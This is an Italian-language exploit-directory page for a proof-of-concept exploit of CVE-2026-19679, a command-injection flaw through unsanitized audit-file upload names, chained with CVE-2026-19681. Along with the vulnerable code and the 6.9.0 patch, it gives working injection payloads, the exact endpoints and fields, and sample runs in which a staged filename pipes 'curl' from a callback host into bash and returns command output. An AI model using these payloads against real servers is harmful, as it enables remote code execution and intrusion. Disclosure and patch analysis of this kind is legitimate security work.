Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2026-19679 — Exploit proof-of-concept per CVE-2026-19679, una vulnerabilità di sanitizzazione insufficiente dei nomi file nel caricamento dei file di audit che porta a command injection. Include sonda differenziale di versione e modalità exec per l'esecuzione remota di comandi. | Kitploit
Strumenti/GitHubGitHub/h00die/poc-cve-2026-19679
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlSviluppo Payload
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

Exploit proof-of-concept per CVE-2026-19679, una vulnerabilità di sanitizzazione insufficiente dei nomi file nel caricamento dei file di audit che porta a command injection. Include sonda differenziale di versione e modalità exec per l'esecuzione remota di comandi.

Vedi Repository
17h 37m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

InfoGraphic

CVE-2026-19679 — sanitizzazione insufficiente dei nomi file caricati (convalida dell'input)

Stato: CONFERMATO su un laboratorio 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile con tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" ha restituito HTTP 200 e ha registrato AuditFile #1000002 — il nome file con metacaratteri di shell ha superato la validazione ed è stato memorizzato end-to-end. Sulla 6.9.0 la stessa richiesta viene rifiutata con "Invalid tailoring filename.".

Vulnerabilità

I parametri di caricamento del file di audit (filename, tailoringFilename, tailoringOriginalFilename) vengono validati con (), che controlla solo tre cose: non vuoto, assenza di (uguaglianza con ), e che il file predisposto esista. Non c'è — , , backtick, e spazi passano senza modifiche.

PARAM_FILENAME
Utility::validateParams()
/
basename()
alcuna restrizione sul charset
;
$()
${IFS}

Questi nomi confluiscono quindi in:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (viene creato un file con metacaratteri arbitrari nel nome)
  • il comando di re-impacchettamento dello zip SCAP — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") dove $tmpZipFile non sottoposto a escaping deriva dal parametro filename del client — l'iniezione di comando a valle di CVE-2026-19681.

Limite verificato in laboratorio: il traversal non fa parte del difetto precedente alla 6.9 — entrambi i parametri di tailoring rifiutano / (errore 146 Invalid syntax for attribute ... su un payload ../). Il pezzo mancante è esattamente il filtro sul charset, ed è ciò che il testo della CVE intende con "potrebbe contribuire a un'iniezione di comando a valle."

Patch (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

più basename() su entrambi i nomi e escapeshellarg() sugli operandi zip.

PoC

Sonda differenziale tra versioni — una singola richiesta, esiti opposti per versione:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (file di audit creato con il nome contenente metacaratteri) o errore 106 (rimbalzo post-esecuzione; il nome ha comunque raggiunto rename()/zip) → nessuna validazione del charset
  • 6.9.0 → "Invalid tailoring filename." immediato

Note operative (tutte verificate in laboratorio):

  • la risorsa di upload è /rest/file/upload (multipart Filedata, campo del form context)
  • lo zip di audit viene predisposto con un context vuoto — context=auditFile esegue il rilevamento del contenuto sullo zip (errore 107 su uno zip fittizio)
  • il file di tailoring deve contenere XML datastream analizzabile con ≥1 Profile (incorporato)
  • il corpo di auditFile richiede type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName

Relazione con CVE-2026-19681

19679 è il gap di validazione; 19681 è il sink di esecuzione. Lo stesso flusso di upload coinvolge entrambi: 19681 inserisce metacaratteri nel filename predisposto (tramite il prefisso context dell'upload) e li innesca attraverso $tmpZipFile non sottoposto a escaping; 19679 dimostra che i parametri gemelli accettano la stessa classe di caratteri fino alla (e dentro la) stessa stringa di comando. 6.9.0 corregge entrambi i lati in un'unica area di commit: charset + basename + escapeshellarg.

Esempio di esecuzione

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Scarica lo strumento